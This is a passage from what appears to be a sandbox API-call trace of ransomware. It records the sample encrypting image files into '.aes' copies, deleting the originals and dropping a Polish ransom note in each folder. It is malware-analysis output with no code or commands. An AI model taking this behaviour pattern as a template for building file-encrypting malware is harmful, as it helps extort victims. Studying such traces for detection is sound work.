pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0084.622] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0084.622] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0084.629] LocalFree (hMem=0x6ff2da0) returned 0x0 [0084.629] LocalFree (hMem=0x7074460) returned 0x0 [0084.629] GetBestInterfaceEx (in: pDestAddr=0x2849284*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0084.702] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\_g8EG0.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\_g8eg0.gif")) returned 1 [0084.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x44 [0084.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0084.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec442360, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xec442360, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xec442360, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0084.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0084.734] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0084.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp", lpFilePart=0x0) returned 0x3e [0084.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0084.814] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\c7fcn8b.bmp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8caa6600, ftCreationTime.dwHighDateTime=0x1d3001f, ftLastAccessTime.dwLowDateTime=0xbbec180, ftLastAccessTime.dwHighDateTime=0x1d2fcfa, ftLastWriteTime.dwLowDateTime=0xbbec180, ftLastWriteTime.dwHighDateTime=0x1d2fcfa, nFileSizeHigh=0x0, nFileSizeLow=0x11c1b)) returned 1 [0084.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0084.815] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp", lpFilePart=0x0) returned 0x3e [0084.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0084.815] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\c7fcn8b.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0084.815] GetFileType (hFile=0x7ec) returned 0x1 [0084.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0084.815] GetFileType (hFile=0x7ec) returned 0x1 [0084.815] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp.aes", lpFilePart=0x0) returned 0x42 [0084.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0084.815] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\c7fcn8b.bmp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0084.815] GetFileType (hFile=0x8e4) returned 0x1 [0084.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0084.815] GetFileType (hFile=0x8e4) returned 0x1 [0084.815] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0084.832] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0084.832] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0084.839] LocalFree (hMem=0x703ef10) returned 0x0 [0084.839] GetAdaptersAddresses () returned 0x6f [0084.844] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0084.844] GetAdaptersAddresses () returned 0x0 [0084.848] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0084.854] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0084.855] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0084.974] LocalFree (hMem=0x6ff2da0) returned 0x0 [0084.974] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0084.980] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0084.981] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0084.987] LocalFree (hMem=0x6ff2da0) returned 0x0 [0084.987] LocalFree (hMem=0x7074460) returned 0x0 [0084.987] GetBestInterfaceEx (in: pDestAddr=0x2842b00*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0085.059] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\C7FcN8b.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\c7fcn8b.bmp")) returned 1 [0085.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0085.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0085.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0085.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0085.064] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x7ec) returned 0x0 [0085.065] RegQueryValueExW (in: hKey=0x7ec, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0085.065] RegQueryValueExW (in: hKey=0x7ec, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x2818ed0, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0085.065] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0085.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0085.065] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8e4 [0085.065] GetFileType (hFile=0x8e4) returned 0x1 [0085.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0085.065] GetFileType (hFile=0x8e4) returned 0x1 [0085.065] WriteFile (in: hFile=0x8e4, lpBuffer=0x2821ee8*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x2821ee8*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0085.066] CloseHandle (hObject=0x8e4) returned 1 [0085.066] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0085.133] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png", lpFilePart=0x0) returned 0x3a [0085.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0085.133] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\dhn.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9416ee20, ftCreationTime.dwHighDateTime=0x1d2fc11, ftLastAccessTime.dwLowDateTime=0xf46cdc60, ftLastAccessTime.dwHighDateTime=0x1d305b9, ftLastWriteTime.dwLowDateTime=0xf46cdc60, ftLastWriteTime.dwHighDateTime=0x1d305b9, nFileSizeHigh=0x0, nFileSizeLow=0xdb25)) returned 1 [0085.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0085.133] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png", lpFilePart=0x0) returned 0x3a [0085.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0085.133] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\dhn.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0085.133] GetFileType (hFile=0x8e4) returned 0x1 [0085.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0085.133] GetFileType (hFile=0x8e4) returned 0x1 [0085.133] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png.aes", lpFilePart=0x0) returned 0x3e [0085.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0085.133] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\dhn.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0085.134] GetFileType (hFile=0x7c8) returned 0x1 [0085.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0085.134] GetFileType (hFile=0x7c8) returned 0x1 [0085.134] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0085.158] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0085.158] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0085.165] LocalFree (hMem=0x703ef10) returned 0x0 [0085.165] GetAdaptersAddresses () returned 0x6f [0085.169] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0085.169] GetAdaptersAddresses () returned 0x0 [0085.174] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0085.180] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0085.180] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0085.237] LocalFree (hMem=0x6ff2da0) returned 0x0 [0085.238] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0085.244] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0085.244] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0085.251] LocalFree (hMem=0x6ff2da0) returned 0x0 [0085.251] LocalFree (hMem=0x7074460) returned 0x0 [0085.251] GetBestInterfaceEx (in: pDestAddr=0x283d31c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0085.397] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\dhn.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\dhn.png")) returned 1 [0085.398] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0085.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0085.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece86240, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xece86240, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xece86240, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0085.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0085.399] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0085.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif", lpFilePart=0x0) returned 0x3c [0085.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0085.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\hlufp.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6cbf840, ftCreationTime.dwHighDateTime=0x1d30143, ftLastAccessTime.dwLowDateTime=0xdb64f40, ftLastAccessTime.dwHighDateTime=0x1d3007d, ftLastWriteTime.dwLowDateTime=0xdb64f40, ftLastWriteTime.dwHighDateTime=0x1d3007d, nFileSizeHigh=0x0, nFileSizeLow=0x8cb8)) returned 1 [0085.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0085.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif", lpFilePart=0x0) returned 0x3c [0085.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0085.462] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\hlufp.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0085.462] GetFileType (hFile=0x8e4) returned 0x1 [0085.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0085.462] GetFileType (hFile=0x8e4) returned 0x1 [0085.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif.aes", lpFilePart=0x0) returned 0x40 [0085.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0085.463] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\hlufp.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0085.463] GetFileType (hFile=0x7c8) returned 0x1 [0085.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0085.463] GetFileType (hFile=0x7c8) returned 0x1 [0085.463] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0085.471] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0085.471] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0085.478] LocalFree (hMem=0x703ef10) returned 0x0 [0085.478] GetAdaptersAddresses () returned 0x6f [0085.483] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0085.483] GetAdaptersAddresses () returned 0x0 [0085.488] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0085.494] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0085.494] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0085.639] LocalFree (hMem=0x6ff2da0) returned 0x0 [0085.639] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0085.645] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0085.646] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0085.652] LocalFree (hMem=0x6ff2da0) returned 0x0 [0085.652] LocalFree (hMem=0x7074460) returned 0x0 [0085.652] GetBestInterfaceEx (in: pDestAddr=0x281774c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0085.734] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\HLuFP.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\hlufp.gif")) returned 1 [0085.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0085.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0085.735] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece86240, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xece86240, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xece86240, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0085.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0085.735] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0085.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif", lpFilePart=0x0) returned 0x4a [0085.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0085.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\hy7xic9tp5afulp5tba.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f60c330, ftCreationTime.dwHighDateTime=0x1d3005d, ftLastAccessTime.dwLowDateTime=0x14477a00, ftLastAccessTime.dwHighDateTime=0x1d3045b, ftLastWriteTime.dwLowDateTime=0x14477a00, ftLastWriteTime.dwHighDateTime=0x1d3045b, nFileSizeHigh=0x0, nFileSizeLow=0xa773)) returned 1 [0085.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0085.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 